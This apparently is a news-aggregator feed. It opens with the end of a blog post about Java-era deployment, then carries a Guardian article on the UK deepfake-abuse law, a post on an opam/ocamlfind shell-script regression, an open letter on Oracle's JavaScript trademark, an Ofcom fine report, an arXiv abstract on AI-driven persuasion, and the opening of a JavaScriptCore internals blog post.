Now, we didn’t have containers, so we made these things called “JARs”, which is a big zip file of the application and all its dependencies, pulled from Maven Central. (Maven Central is a bit like NPM but for Java, and also actually vetted submitters and their domain names before allowing them to publish.) This produces a different kind of dependency hell to containers, and I would not wish it upon anybody, but it did, at least, kind of work.

We’d run that inside a Java server, such as Apache Tomcat, on a Linux VM, on a computer. Deployment was done through “Puppet”; nowadays you’d use Ansible, but whatever.

The computer was inside a datacentre.

The datacentre was down the road. If the computer broke, we could go and turn it off and on again.

And here’s the funny thing: it never broke, because the person who built it did it well, because it wasn’t taxed within an inch of its life, and because we were keeping an eye on it.

I miss those days

I think back to those days, and remember writing Java, pairing with my old colleagues.

We were good at it, but the tools also had our backs. Eclipse was dependable; it did so much amazing stuff that I haven’t seen since. Maven is a thoughtful approach to dependency management that solved several problems (such as namespacing, and trust) in elegant ways, and no one has even tried to copy them. And I really, really miss deploying to a real computer, which I own, and can touch.

It astonishes me every time I realise that builds and deployment have become slower in the last 15 years, not faster. I was able to go from code to shipping in less than a minute back then, and now, it takes hours, or sometimes days to get it merged and deployed. Even pushing an application to k8s is an ordeal. Especially if everything has to go through a staging environment first.

I don’t really understand why we’ve stopped hiring testers, but I wish we could get back to it. I like having people around who are good at breaking things. It makes me feel safe when they’re on my side.

Now, some things are better. I’d much rather use Git than Subversion. I actually quite like containers, when they’re built well (i.e. not with a Dockerfile), and deployed sensibly. And I think the Cloud is useful, up to a point, especially when starting out.

But this world… I do not like it.

Where did it all go wrong?

I have been trying to figure out what happened, and I think I can point to the catalyst.

NPM happened.

Now, this doesn’t mean it’s NPM’s fault, it just means that it made it possible.

You see, with NPM, node.js (and therefore JavaScript) became a serious programming language, which is both a blessing and a curse.

We also saw the rise of React, which is possibly the greatest tragedy to ever befall front-end programming (and I say this as a recovering React fan).

And then, because we could create applications in the browser, we got Electron. Now everything’s a browser!

I love writing JavaScript, and I’m glad I can run it on the server. But this doesn’t mean I think it’s a good idea to use it for everything.

I would really like to reset, and go back to using a sensible tool for the job at hand.

Just a little.


‘I don’t take no for an answer’: how a small group of women changed the law on deepfake porn

Guardian
www.theguardian.com
2025-12-04 10:00:10
The new Data (Use and Access) Act, which criminalises intimate image abuse, is a huge victory won fast in a space where progress is often glacially slow For Jodie*, watching the conviction of her best friend, and knowing she helped secure it, felt at first like a kind of victory. It was certainly mo...
Original Article

The new Data (Use and Access) Act, which criminalises intimate image abuse, is a huge victory won fast in a space where progress is often glacially slow

For Jodie*, watching the conviction of her best friend, and knowing she helped secure it, felt at first like a kind of victory. It was certainly more than most survivors of deepfake image-based abuse could expect.

They had met as students and bonded over their shared love of music. In the years since graduation, he’d also become her support system, the friend she reached for each time she learned that her images and personal details had been posted online without her consent. Jodie’s pictures, along with her real name and correct bio, were used on many platforms for fake dating profiles, then adverts for sex work, then posted on to Reddit and other online forums with invitations to deepfake them into pornography. The results ended up on porn sites. All this continued for almost two years, until Jodie finally worked out who was doing it — her best friend – identified more of his victims, compiled 60 pages of evidence, and presented it to police. She had to try two police stations, having been told at the first that no crime had been committed. Ultimately he admitted to 15 charges of “sending messages that were grossly offensive or of an indecent, obscene or menacing nature” and received a 20-week prison sentence, suspended for two years.

At that time, there were no laws against deepfake intimate image abuse, although experts had been raising the alarm since 2016 . “I felt really lucky to get a conviction, something that will affect the rest of his life,” says Jodie. Her main focus in the months that followed had to be her recovery. “I was in a dark place,” she says. “I’m not ashamed to say I was suicidal. I couldn’t sleep, and when I did, I had nightmares.” More than two years passed before she felt ready to campaign for change, starting by telling her story on BBC Radio 4’s File on 4 in April 2024. “The more I learned, the more I understood and that brought rage,” says Jodie, who works in financial services. “I gradually realised the significance of there being no law which held him accountable for the deepfake abuse – and I wanted change.”

Within little more than a year, she had it. The Data (Use and Access) Act, which received royal assent in June, has made the creation of a deepfake intimate image without consent a criminal offence and also criminalised requesting others to create the deepfake image – as her best friend had when he posted images of Jodie on forums. Both now carry a custodial sentence of up to six months, as well as an unlimited fine. It’s a huge victory won fast in a space where progress has been mind-bendingly slow. However, this isn’t the story of a new government determined to tackle an ever-evolving crime. It was fought for and pushed through by a small group of victims and experts who formed a WhatsApp group called Heroes.

Jodie joined the group last year, shortly after the File on 4 programme aired. She had been invited to the House of Lords to meet Charlotte Owen, Boris Johnson’s controversial appointment, who had taken her seat the previous summer. Lady Owen was the youngest life peer in history when she arrived in the Lords, aged 30, and she was intent on tackling deepfake intimate image abuse. “It was rapidly proliferating, and such a huge threat,” says Owen. “Loads of women my age were very concerned about it, but it wasn’t getting the spotlight.”

Owen organised a core group of experts and campaigners, which included Clare McGlynn, professor of law at Durham University; the Revenge Porn Helpline ; Not Your Porn ; MyImageMyChoice ; and survivors such as Jodie. They formed a tight team in the WhatsApp group Owen set up, aiming to criminalise the creation and requesting of deepfake intimate image abuse. They were braced for a long fight. “In those initial conversations, I was under the impression that it was going to take years,” says Jodie, “so I’ve been kind of gobsmacked by how quickly it happened.”

It isn’t surprising that expectations were low. Since 2015 and the first law to address so-called “revenge porn”, legal protections have been patchy and piecemeal, always months or years behind the latest development in intimate image abuse.

Clare McGlynn
Clare McGlynn, professor of law at Durham University, and member of the Heroes WhatsApp group. Photograph: Courtesy of Clare McGlynn

“There has been such a resistance to taking any action in parliament, a complete lack of urgency and absence of interest,” says McGlynn. “Even back in 2015, when they passed the first law against sharing private sexual materials, myself and others were saying that it ought to include altered images because we were already seeing women who had been Photoshopped. The government response was that altered images weren’t sufficiently harmful to be included.”

The protections that were afforded in that early legislation were full of holes. One glaring example was that it made the sharing of intimate images without consent a crime only if it could be proved that this had been done with “intent to cause distress”. Doing it for a laugh, to impress friends, or for sexual gratification wasn’t a crime at all. (After a decade of campaigning, this should finally be rectified in the crime and policing bill , but it still hasn’t quite happened yet.)

By 2019, cases of intimate image abuse reported to police had more than doubled , and cyberflashing and deepfakes had emerged, so the Law Commission was asked to examine whether new laws were required. It took three years – the final report, the Intimate Image Abuse report, was not published until July 2022. “In these years between, we were writing to MPs about what was happening to women and girls and what needed to be done, but the response was always, ‘We just need to wait for the final report’,” says McGlynn. “Five lines added to a piece of legislation could have made a massive difference to millions of women’s lives, but any changes we put forward were rejected.” The report did conclude that the sharing of deepfake abuse should be criminalised – as a result, the Online Safety Act 2023 has made it an offence to share deepfake intimate images without consent. However, criminalising the creation of deepfakes was not recommended. (It acknowledged that “this may be disappointing to those who have been victims of such behaviour”.)

The “Heroes” group set out to change this, and McGlynn at last had some reason to feel hope. They finally had someone on the inside. “Charlotte was right in the middle of the legislative process, and that was essential,” she says. Elena Michael, co-founder of Not Your Porn , which supports victims of intimate image abuse and campaigns for change, agrees. “For a decade, the victims and experts working in the field have been kept in separate rooms to the people making the laws, and the laws we’ve had just haven’t worked,” she says. “When the government doesn’t listen to survivors, they’re not just devaluing their experience, they’re also discarding their expertise. These women have had to fight for years. There’s nothing they don’t know about what change is needed.

Elena Michael
Elena Michael, co-founder of Not Your Porn. Photograph: Courtesy of Elena Michael

“When Charlotte called me up to meet me, I was really excited,” she continues. “From the beginning, she was always about listening and meeting as many victims as she could. She wanted to hear stories and understand every single facet.”

The campaign kicked off in February last year, with Owen’s question in the chamber on deepfake porn and why its harms were not deemed serious enough to criminalise. “It’s a good way of seeing if people care about the issue,” says Owen, “and in the House of Lords, people were shocked. There was so much support.”

The following month, her speech for International Women’s Day again focused on deepfakes. In May, she was drawn from the private members’ bill ballot and set about creating a bill that was essentially written by the women she had gathered together. It criminalised the making of sexually explicit deepfakes and the requesting of them. It was consent-based – if the deepfake was made without consent, it was a crime; the intentions behind it made no difference. It included forced deletion – anyone convicted of creating a deepfake image would be forced to delete it. This was crucial, given one victim’s experience when, after a conviction for intimate image abuse, police returned devices to her perpetrator with the images still on them. “Every single line represented a woman’s real experience,” says Owen.

Charlotte Owen
Charlotte Owen in the House of Lords chamber in November 2023. Photograph: Kirsty Wigglesworth/AFP/Getty Images

All those women, including Jodie, were invited to the Lords for briefings and attended all the subsequent debates. “That was the most poignant part,” says Owen. “The Lords were blown away by these brilliant women. When they sat in the gallery, lots of the peers referenced them in their subsequent speeches.” There was strong cross-party support but by its second reading the government indicated it would not support it, as it wanted to address the issue itself. “We were gutted,” says Owen. “But I don’t really take no for an answer.”

Instead, Owen took the contents of the bill and tabled them as amendments to the data bill that was already before the Lords. (“It was the perfect opening,” she says.) The government response was initially an insistence on writing its own amendment instead, but its first attempt did not make the offence consent-based, instead linking the offence to specific intentions. After a lot of argument, including a dossier from McGlynn, it U-turned .

“By now, everything was moving so fast. We were messaging and meeting and updating pretty much all the time,” says Jodie. Every element they were asking for was met with resistance, so required more presentations, new evidence, legal argument, extra briefings.

While the government agreed to criminalise the creation of deepfakes, it initially objected to criminalising the requesting of them. Early drafts also applied a statutory time limit to the offence, which meant it could only be prosecuted within six months of being committed. (Many victims don’t discover the images online until outside that time frame.) Iman Mazhari – an abuse survivor and volunteer with Not Your Porn – spotted this at the 11th hour. Her perpetrator had escaped a harassment charge (but was convicted of others) because it “timed out”, so she is, she says, “obsessed with statutory time limits”. Mazhari emailed McGlynn, who drafted a clause that Owen added to the amendment with days to spare.

Iman Mazhari
Iman Mazhari. Photograph: Courtesy of Iman Mazhari

Another point of conflict with the government was whether or not the crime should carry a possible prison sentence – the government first opposed this, but Owen believed it was essential as a deterrent. (In her speech, she pointed out that you can go to prison for fly-tipping. Why was the violation of someone’s consent less important?) “Every single word, every line, we were arguing over,” says Owen.

When the bill passed in June, Jodie was watching from the balcony with other survivors of deepfake abuse and McGlynn. “Charlotte left the chamber and sat up there with us,” she says. “It was a gorgeous evening. It felt like we were in a film, and at the end of it, we had a glass of champagne and toasted all the women who had worked for this.

“On the way home, on the tube by myself, the enormity of it really hit me and I just sobbed. We’d fought so hard and achieved so much. Being with these women who were all so passionate, and who just got it – they have healed me. It’s as simple as that.”

It’s not the end, of course. “There’s so much more to do,” says McGlynn. There will certainly be future forms of AI abuse not covered by this legislation. “If I had my way, I’d introduce a general legal provision that would cover all forms of intimate violation and intimate intrusion so we don’t need to start a new campaign every single time the technology moves on and the abuse changes,” say McGlynn. “We also need better processes to get material removed swiftly and easily, and hold non-compliant platforms to account.

“Still, this is significant progress,” she adds. “We’re now able to say, ‘Creating this stuff without consent is wrong.’ It’s unlawful and it’s wrong. The message is clear and that’s great.”

*Not her real name

In the UK and Ireland, Samaritans can be contacted on freephone 116 123, or email jo@samaritans.org or jo@samaritans.ie. In the US, you can call or text the 988 Suicide & Crisis Lifeline at 988 or chat at 988lifeline.org . In Australia, the crisis support service Lifeline is 13 11 14. Other international helplines can be found at befrienders.org

In the UK, Rape Crisis offers support for rape and sexual abuse on 0808 802 9999 in England and Wales, 0808 801 0302 in Scotland , or 0800 0246 991 in Northern Ireland . In the US, Rainn offers support on 800-656-4673. In Australia, support is available at 1800Respect (1800 737 732). Other international helplines can be found at ibiblio.org/rcip/internl.html

If it ain’t broke, …

Lobsters
www.dra27.uk
2025-12-04 09:19:58
Comments...
Original Article

Someone was kind enough a few weeks ago to comment on Hacker News that “Opam on Windows is a masterpiece of engineering”. There’s certainly a lot which has to go on under the hood to create what I believe is the necessary baseline experience. Unfortunately, it doesn’t always work out.

10 days ago, a new user popped up on our Discourse forum with a failure of some core packages to work on Windows. The OP was using MSYS2, which at the moment has slightly less support than the recommended Cygwin, but it looked to me like either my ocaml/opam-repository#28897 or ocaml/ocamlfind#112 ought to fix things.

Except it didn’t, and it wasn’t until today that I was able to reproduce the problem, and figure out what was going on. As it happens, once I could reproduce it, this was easy for me to work out, but it shines an interesting light on to a subtle bit of opam’s Windows internals and consequently something that either the OP or a packager has misunderstood and it also finally goads me into standing on my soapbox and shouting from the rafters:

Code should be changed if and only if a bug is being fixed or an actual user-facing feature is being implemented! The risk of regression ALWAYS outweighs the benefit of refactoring UNLESS you’re actually changing something else.

The target of my particular ire is the wonderful ShellCheck tool. If you don’t use it already, then:

  1. You don’t have to write shell scripts, and should continue not having to write shell scripts for as long as possible! However, you may have to one day, so:
  2. You should absolutely start using it on the next shell script you have to write . You should also use it to check changes you make to existing scripts, too.

But what I’m finally going to come out and just say, is that you should never ever change a shell script just to please ShellCheck unless you actually have a bug report. If ShellCheck grumbles and warns something might cause a bug, then take it as a challenge - figure out the scenario in which that could be triggered, test it, fix it. If, as is often the case, it’s warning about an unhygienic construct which could go wrong but actually never will because, for example, the file names concerned don’t contain spaces and never will, then leave that script alone!

What was actually going on here? The OP was seeing this effect when trying to install topkg :

C:\Users\DRA>opam install topkg
The following actions will be performed:
=== install 1 package
  ∗ topkg      1.1.1

<><> Processing actions <><><><><><><><><><><><><><><><><><><><><><><><><><>  🐫
⬇ retrieved topkg.1.1.1  (https://opam.ocaml.org/cache)
[ERROR] The compilation of topkg.1.1.1 failed at "ocaml pkg/pkg.ml build --pkg-name topkg --dev-pkg false".

#=== ERROR while compiling topkg.1.1.1 ========================================#
# context     2.5.0 | win32/x86_64 | ocaml.4.14.2 | https://opam.ocaml.org#9bc1691da5d727ede095f83c019b92087a7da33e
# path        C:\Devel\Roots\msys2-testing-native\default\.opam-switch\build\topkg.1.1.1
# command     C:\Devel\Roots\msys2-testing-native\default\bin\ocaml.exe pkg/pkg.ml build --pkg-name topkg --dev-pkg false
# exit-code   125
# env-file    C:\Devel\Roots\msys2-testing-native\log\topkg-8308-179b77.env
# output-file C:\Devel\Roots\msys2-testing-native\log\topkg-8308-179b77.out
### output ###
# Exception: Fl_package_base.No_such_package ("findlib", "").

This error gets readily seen when using OCaml 5.x on MSYS2. It’s not a problem with topkg, it’s actually that the ocamlfind library manager is not installed correctly. There are fixes pending for that in ocaml/ocamlfind#112 , but the issue there is to do with OCaml 5.x - this build is OCaml 4.14.2.

The actual issue is readily apparent if we rebuild ocamlfind:

C:\Users\DRA>opam reinstall ocamlfind -v
The following actions will be performed:
=== recompile 1 package
  ↻ ocamlfind 1.9.8

<><> Processing actions <><><><><><><><><><><><><><><><><><><><><><><><><><>  🐫
⬇ retrieved ocamlfind.1.9.8  (cached)
+ C:\Devel\Roots\msys2-testing-native\default\.opam-switch\build\ocamlfind.1.9.8\./configure "-bindir" "C:\\Devel\\Roots\\msys2-testing-native\\default\\bin" "-sitelib" "C:\\Devel\\Roots\\msys2-testing-native\\default\\lib" "-mandir" "C:\\Devel\\Roots\\msys2-testing-native\\default\\man" "-config" "C:\\Devel\\Roots\\msys2-testing-native\\default\\lib/findlib.conf" "-no-custom" "-no-camlp4" (CWD=C:\Devel\Roots\msys2-testing-native\default\.opam-switch\build\ocamlfind.1.9.8)
- Welcome to findlib version 1.9.8
- Configuring core...
<snip snip snip>
- Configuration for threads written to site-lib-src/threads/META
- Configuration for str written to site-lib-src/str/META
- Configuration for bytes written to site-lib-src/bytes/META
- Access denied - SRC
- File not found - -NAME
- File not found - META.IN
- File not found - -TYPE
- File not found - F
- File not found - -EXEC
- File not found - SH
- File not found - -C
- File not found - SED -E 'S/@VERSION@/1.9.8/G'         -E 'S/@REQUIRES@//G'    \$1\
- File not found -  > \${1%.IN}\
- File not found - SH
- File not found - {}
- File not found - ;
- Detecting compiler arguments: (extractor built) ok

What’s going on at the end of that snippet? It turns out ocamlfind’s configure script contains a call to what it expects to be POSIX find , but what it’s actually getting is the Windows find utility. This problem is as old as the hills, and affects sort as well:

C:\Users\DRA>find /?
Searches for a text string in a file or files.

FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[ ...]]

  /V         Displays all lines NOT containing the specified string.
  /C         Displays only the count of lines containing the string.
  /N         Displays line numbers with the displayed lines.
  /I         Ignores the case of characters when searching for the string.
  /OFF[LINE] Do not skip files with offline attribute set.
  "string"   Specifies the text string to find.
  [drive:][path]filename
             Specifies a file or files to search.

If a path is not specified, FIND searches the text typed at the prompt
or piped from another command.

versus:

C:\Users\DRA>C:\msys64\usr\bin\find --version
find (GNU findutils) 4.10.0
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by Eric B. Decker, James Youngman, and Kevin Dalley.
Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION FTS(FTS_CWDFD) CBO(level=1)

Now, it turns out that the OP’s system is misconfigured - which is part of the reason why Cygwin , MSYS2 and Git for Windows don’t put their Unix shell utilities into PATH by default. The Unix utilities are in C:\msys64\usr\bin , but this entry in PATH appears after C:\WINDOWS\system32 , so a few utilities get shadowed. For things like curl and tar , this is usually benign, but for find and sort it’s pretty terminal!

In its default mode, where opam manages the Cygwin or MSYS2 environment for you - it’s part of a mildly complex process in ocaml/opam#5832 , as opam ensures that either the Cygwin or MSYS2 bin directory is just “left” enough in PATH to ensure that some key utilities are not shadowed, but not so far to the left that it shadows things like Git for Windows!

However, if you’ve set-up PATH yourself, as the OP had, you’re on your own, I’m afraid!

So why is all this making me rant about ShellCheck? Well, the problem is that downgrading ocamlfind to a previous version works just fine, and so it’s the regression in ocamlfind 1.9.8 that I want to focus on. The failing part of the script is:

# create META from META.in in POSIX-compatible & safe way
# see: https://www.shellcheck.net/wiki/SC2044
meta_subst="sed -e 's/@VERSION@/$version/g' \
        -e 's/@REQUIRES@/${req_bytes}/g' \
        \"\$1\" > \"\${1%.in}\""
find src -name 'META.in' -type f -exec sh -c "$meta_subst" sh {} \;

but which was originally (from cbc4a7d ):

for part in `cd src; echo *`; do
    if [ -f "src/$part/META.in" ]; then
        sed -e "s/@VERSION@/$version/g" \
            -e "s/@REQUIRES@/${req_bytes}/g" \
            src/$part/META.in >src/$part/META
    fi
done

ShellCheck reports two issues with that original loop:

  1. It dislikes the use of backticks rather than $(...)
  2. It worries that the exit code of cd is unchecked

The first is because this script is very old, and it was written at a time when there were not only versions of sh which didn’t support $(...) notation, there were people using OCaml on them! In fact, it’s only comparatively recently that the default version of sh in (Open)Solaris/Illumos, etc. actually supports it.

The second is true, but:

  1. It’s never going to happen (the src directory be missing from the tarball?!)
  2. Even if it it does, the loop will correctly do nothing, and the build will fail later

So, while for part in `cd src; echo *`; do is somewhat showing its age, in the context of this specific fragment of this specific shell script, that will never ever cause a problem. Writing a new script? Don’t write that! Adding a new part to an existing script? Don’t write that!

However, it is now broken, and my proposed fix is that actually the use of the wildcard was completely unnecessary, as we already compute the relevant list of directories which can possibly contain a META.in file slightly later in the script (taken from 1291259 ):

for part in $parts; do
  if [ -f src/"$part"/META.in ]; then
    sed -e "s/@VERSION@/$version/g" \
        -e "s/@REQUIRES@/${req_bytes}/g" \
        src/"$part"/META.in > src/"$part"/META
  fi
done

A piece of code got changed to fix neither a bug nor add a feature, and something which worked before became broken. It took a non-trivial amount of (wallclock) time to diagnose and fix the issue. That’s a lot of negative consequences, and so far at least, there are no positive consequences.

If it ain’t broke, don’t fix it!

Oracle, it’s time to free JavaScript

Hacker News
javascript.tm
2025-12-04 09:01:55
Comments...
Original Article

You have long ago abandoned the JavaScript trademark, and it is causing widespread, unwarranted confusion and disruption.

JavaScript is the world’s most popular programming language, powering websites everywhere. Yet, few of the millions who program in it realize that JavaScript is a trademark you, Oracle, control. The disconnect is glaring: JavaScript has become a general-purpose term used by countless individuals and companies, independent of any Oracle product.

Oracle’s hold on the JavaScript trademark clearly fits the legal definition of trademark abandonment . A previous blog post addressed this issue, requesting that you, Oracle, release the trademark. Unsurprisingly, the request was met with silence. It is therefore time to take active steps in order to bring the JavaScript trademark into the public domain, where it belongs.

Trademark abandonment

Title 15 of the United States Code, section 1127, states:

A mark shall be deemed to be “abandoned” if either of the following occurs:

  1. When its use has been discontinued with intent not to resume such use . Intent not to resume may be inferred from circumstances. Nonuse for 3 consecutive years shall be prima facie evidence of abandonment. “ Use ” of a mark means the bona fide use of such mark made in the ordinary course of trade, and not made merely to reserve a right in a mark .
  2. When any course of conduct of the owner, including acts of omission as well as commission, causes the mark to become the generic name for the goods or services on or in connection with which it is used or otherwise to lose its significance as a mark . Purchaser motivation shall not be a test for determining abandonment under this paragraph.

In the case of JavaScript, both criteria apply .

Netscape, Sun, Oracle

The JavaScript trademark is currently held by Oracle America, Inc. ( US Serial Number: 75026640, US Registration Number: 2416017 ). How did this come to be?

In 1995, Netscape partnered with Sun Microsystems to create interactive websites. Brendan Eich famously spent only 10 days creating the first version of JavaScript, a dynamic programming language with a rough syntactic lineage from Sun’s Java language. As a result of this partnership, Sun held the JavaScript trademark. In 2009, Oracle acquired Sun Microsystems and the JavaScript trademark as a result.

The trademark is simply a relic of this acquisition. Neither Sun nor Oracle has ever built a product using the mark. Legal staff, year after year, have renewed the trademark without question. It’s likely that only a few within Oracle even know they possess the JavaScript trademark, and even if they do, they likely don’t understand the frustration it causes within the developer community.

Use it or lose it

Oracle has abandoned the JavaScript trademark through nonuse.

Oracle has never seriously offered a product called JavaScript. In the 1990s and early 2000s, Netscape Navigator, which supported JavaScript as a browser feature, was a key player. However, Netscape’s usage and influence faded by 2003, and the browser saw its final release in 2008. JavaScript, meanwhile, evolved into a widely used, independent programming language, embedded in multiple browsers, entirely separate from Oracle.

The most recent specimen , filed with the USPTO in 2019, references nodejs.org (a project created by Ryan Dahl, the author of this letter) and Oracle’s JavaScript Extension Toolkit (JET) . But Node.js is not an Oracle product, and JET is merely a set of JavaScript libraries for Oracle services, particularly Oracle Cloud. There are millions of JavaScript libraries; JET is not special.

(Oracle is not even a member of the OpenJS Foundation - the body that the Node.js project lives under now. Nor does Oracle have any involvement whatsoever in the development of Node.js.)

Oracle also offers GraalVM , a JVM that can execute JavaScript, among other languages. But GraalVM is far from a canonical JavaScript implementation; engines like V8, JavaScriptCore, and SpiderMonkey hold that role. GraalVM’s product page doesn’t even mention “JavaScript”; you must dig into the documentation to find its support.

Oracle’s use of JavaScript in GraalVM and JET does not reflect genuine use of the trademark. These weak connections do not satisfy the requirement for consistent, real-world use in trade.

A generic term

A mark can also be considered abandoned if it becomes a generic term.

In 1996, Netscape announced a meeting of the ECMA International standards organization to standardize the JavaScript programming language. Sun (now Oracle), refused to give up the “JavaScript” mark for this use though, so it was decided that the language would be called “ECMAScript” instead. (Microsoft happily offered up “JScript”, but no-one else wanted that.) Brendan Eich, the creator of JavaScript and a co-signatory of this letter, wrote in 2006 that “ ECMAScript was always an unwanted trade name that sounds like a skin disease .”

Ecma International formed TC39, a technical steering committee, which publishes ECMA-262, the specification for JavaScript. This committee includes participants from all major browsers, like Google’s Chrome, Apple’s Safari, and Mozilla’s Firefox, as well as representatives from server-side JavaScript runtimes like Node.js and Deno.

Oracle’s ownership of the JavaScript trademark only causes confusion. The term “JavaScript” is used freely by millions of developers, companies, and organizations around the world, with no interference from Oracle. Oracle has done nothing to assert its rights over the JavaScript name, likely because they do not believe their claim to the mark would hold up in court. Unlike typical trademark holders who protect their trademarks by extracting licensing fees or enforcing usage restrictions, Oracle has allowed the JavaScript name to be used by anyone. This inaction further supports the argument that the trademark has lost its significance and has become generic.

Programmers working with JavaScript have formed innumerable community organizations. These organizations, like the standards bodies, have been forced to painstakingly avoid naming the programming language they are built around—for example, JSConf . Sadly, without risking a legal trademark challenge against Oracle, there can be no “JavaScript Conference” nor a “JavaScript Specification.” The world’s most popular programming language cannot even have a conference in its name.

There is a vast misalignment between the trademark’s ownership and its widespread, generic use .

Free the mark

By law, a trademark is abandoned if it is either not used or becomes a generic term. Both apply to JavaScript.

It’s time for the USPTO to end the JavaScript trademark and recognize it as a generic name for the world’s most popular programming language, which has multiple implementations across the industry.

Oracle, you likely have no real business interest in the mark. It’s renewed simply because legal staff are obligated to renew all trademarks, regardless of their relevance or use.

We urge you to release the mark into the public domain. However, asking nicely has been tried before , and it was met with silence. If you do not act, we will challenge your ownership by filing a petition for cancellation with the USPTO.

To you, the readers of this letter:

If you agree with us, you are encouraged to sign this open letter below. Your support will help raise awareness and add weight to this cause. If you want to sign as an organization (minimum 25 employees), please email companies@javascript.tm .

In addition, we’re seeking pro bono assistance from lawyers with experience in trademark law to help file a Petition for Trademark Cancellation with the USPTO. It’s likely that simply asking nicely will not get a response from Oracle; a legal challenge must be made. Reach out to lawyers@javascript.tm if you can help.

Pornography company fined £1m by Ofcom for not having strong enough age checks

Guardian
www.theguardian.com
2025-12-04 08:38:53
AVS Group, which runs 18 websites, has 72 hours to make changes required by UK’s Online Safety Act A pornography company that runs 18 adult websites has been fined £1m by the watchdog Ofcom for not having strong enough age checks. AVS Group Ltd has been hit with the fine, plus a further £50,000 for ...
Original Article

A pornography company that runs 18 adult websites has been fined £1m by the watchdog Ofcom for not having strong enough age checks.

AVS Group Ltd has been hit with the fine, plus a further £50,000 for failing to respond to information requests.

It is the third time that the internet and communications watchdog has fined a company in relation to the UK’s Online Safety Act, which came into force in July .

While AVS has implemented what it refers to as age verification, the regulator’s investigation did not deem it to be highly effective.

The company now has 72 hours to introduce age checks that Ofcom will view as effective or face a penalty of £1,000 a day. This is on top of a £300 daily penalty until it responds to requests for information or for a maximum of 60 days.

Ofcom has opened investigations into 92 online services since the new rules were introduced. It is prioritising sites with millions of monthly UK visitors and, therefore, the level of harm that they may pose.

Ofcom also said one major social media company, which it did not name, may face formal action if it did not improve its compliance procedures.

The Online Safety Act brought in a new set of laws aimed at protecting children and adults from harmful content.

More than half of the top 100 most popular adult services in the UK had introduced age checks since the new rules came into force in July, as well as social media platforms such as X, TikTok and Reddit, the regulator said.

Oliver Griffiths, Ofcom’s online safety group director, said: “The tide on online safety is beginning to turn for the better. But we need to see much more from tech companies next year and we’ll use our full powers if they fall short.”

The technology secretary, Liz Kendall, said: “Since the enforcement of the Online Safety Act, platforms have finally started taking responsibility for protecting children and removing illegal and hateful content.

“Ofcom has the government’s full backing to use all its powers to ensure that services put users’ safety first. Keeping children safe online is this government’s and my personal priority.”

Elites Could Shape Mass Preferences as AI Reduces Persuasion Costs

Hacker News
arxiv.org
2025-12-04 08:38:17
Comments...
Original Article

View PDF HTML (experimental)

Abstract: In democracies, major policy decisions typically require some form of majority or consensus, so elites must secure mass support to govern. Historically, elites could shape support only through limited instruments like schooling and mass media; advances in AI-driven persuasion sharply reduce the cost and increase the precision of shaping public opinion, making the distribution of preferences itself an object of deliberate design. We develop a dynamic model in which elites choose how much to reshape the distribution of policy preferences, subject to persuasion costs and a majority rule constraint. With a single elite, any optimal intervention tends to push society toward more polarized opinion profiles - a ``polarization pull'' - and improvements in persuasion technology accelerate this drift. When two opposed elites alternate in power, the same technology also creates incentives to park society in ``semi-lock'' regions where opinions are more cohesive and harder for a rival to overturn, so advances in persuasion can either heighten or dampen polarization depending on the environment. Taken together, cheaper persuasion technologies recast polarization as a strategic instrument of governance rather than a purely emergent social byproduct, with important implications for democratic stability as AI capabilities advance.

Submission history

From: Nadav Kunievsky [ view email ]
[v1] Wed, 3 Dec 2025 18:33:26 UTC (198 KB)

The Mysterious Realm of JavaScriptCore (2021)

Hacker News
www.cyberark.com
2025-12-04 08:33:33
Comments...
Original Article

TL;DR

JavaScriptCore (JSC) is the JavaScript engine used by Safari, Mail, App Store and many other apps in MacOs. The JSC engine is responsible for executing every line of JavaScript (JS) that needs to be executed, whenever we browse to a new website or simply send/receive emails.

Finding vulnerabilities in JSC can be intimidating and, in some cases, complicated. In this blog post, we start by learning the fundamentals of JSC. Then, we describe how we developed a tailor-made CodeQL query that uncovers bad side effect modeling vulnerabilities, which could lead to RCE in JSC.

Introduction

I’ve always felt intimidated by the fog of war that was laying over the land of browser exploitation. Never have I dared to step foot in there since I thought I was way under-leveled to do so. But, not long ago, I received the magical staff of CodeQL, and now I feel confident enough to explore the realm; I geared up and started my quest! Follow me on this immersive journey to learn the fundamentals of JSC and find some cool (old-school) bugs with CodeQL .

Entering the Realm of JSC

Goo(gle) the Owl : “Cloning the repository might be a good start.”
Me : “Waaa! Who are you?”
Goo the Owl : “You can call me Goo, the all-knowing Owl. What are you doing here?”
Me : “I just got this new staff and figured I should explore this realm a bit.” [Flashing my CodeQL staff]
Goo the Owl : “Oh nice! I heard about it from 91,500 places (0.43 seconds to search about it). I’ll help you explore the realm – seems like a good use of my time.”
Me : “That’s nice of you.
Me : [WHISPERING] “Show off.”
Goo the Owl : “Well then, without further ado, let’s clone WebKit and enter the realm!”
Me : git clone https://github.com/WebKit/WebKit.git
[Falling through a portal]
Me : “We’re in!” [Looking at THOUSANDS of slimy blobs waiting in line]
Me : “Ugh… What are these blobs?”
Goo the Owl : “These gooey blobs are JavaScript instructions waiting to be executed.”
Me : [Confused]
Goo the Owl : “Allow me to elaborate!”

JavaScriptCore 101

WebKit is the web browser engine used by Safari, Mail, App Store, and many other apps on macOS, IOS and Linux. ” – WebKit description from https://webkit.org

JSC is the built-in JS engine for WebKit, meaning it handles each JS script we execute via our browser. Unlike code written in C, which we initially compile into native code that our processor can run, a virtual machine (JSC, for example) executes JS, and our processor executes the code of that virtual machine.

Figure 1 – C vs. JavaScript

It is well understood that each approach comes with its pros and cons. For example, running a native C function can be a lot faster than executing a similar function written in JS. The reason derives directly from the figure above. JS bytecode must go through another level of execution compared to a pre-compiled programming language, like C.

But, since our JS code is running in a virtual machine, we have less room for classic bugs because the virtual machine can do all sorts of checks during runtime and prevent these classic bugs from becoming a problem. Additionally, JS is much more dynamic than C; for instance, we don’t have to declare the arguments’ types when writing a new function.

Instruction Processing

Every JS script we’ll execute via JSC will go through several phases:

  1. Lexing ( parser/Lexer.cpp ) – The Lexer will break down our script into a series of tokens. Breaking down our code is done by pre-defined characters (e.gThe parser will then process these tokens.
  2. Parsing ( parser/JSParser.cpp ) – The parser will build an abstract syntax tree (AST) from the tokens produced by the Lexer. The syntax tree represents our code’s structural details, meaning each node in our tree represents an expression in our code. For example, a node can represent the expression “ a + b “; the child of this expression will be the “ + ” operation, and its children will be the variables “ a ” and “ b.
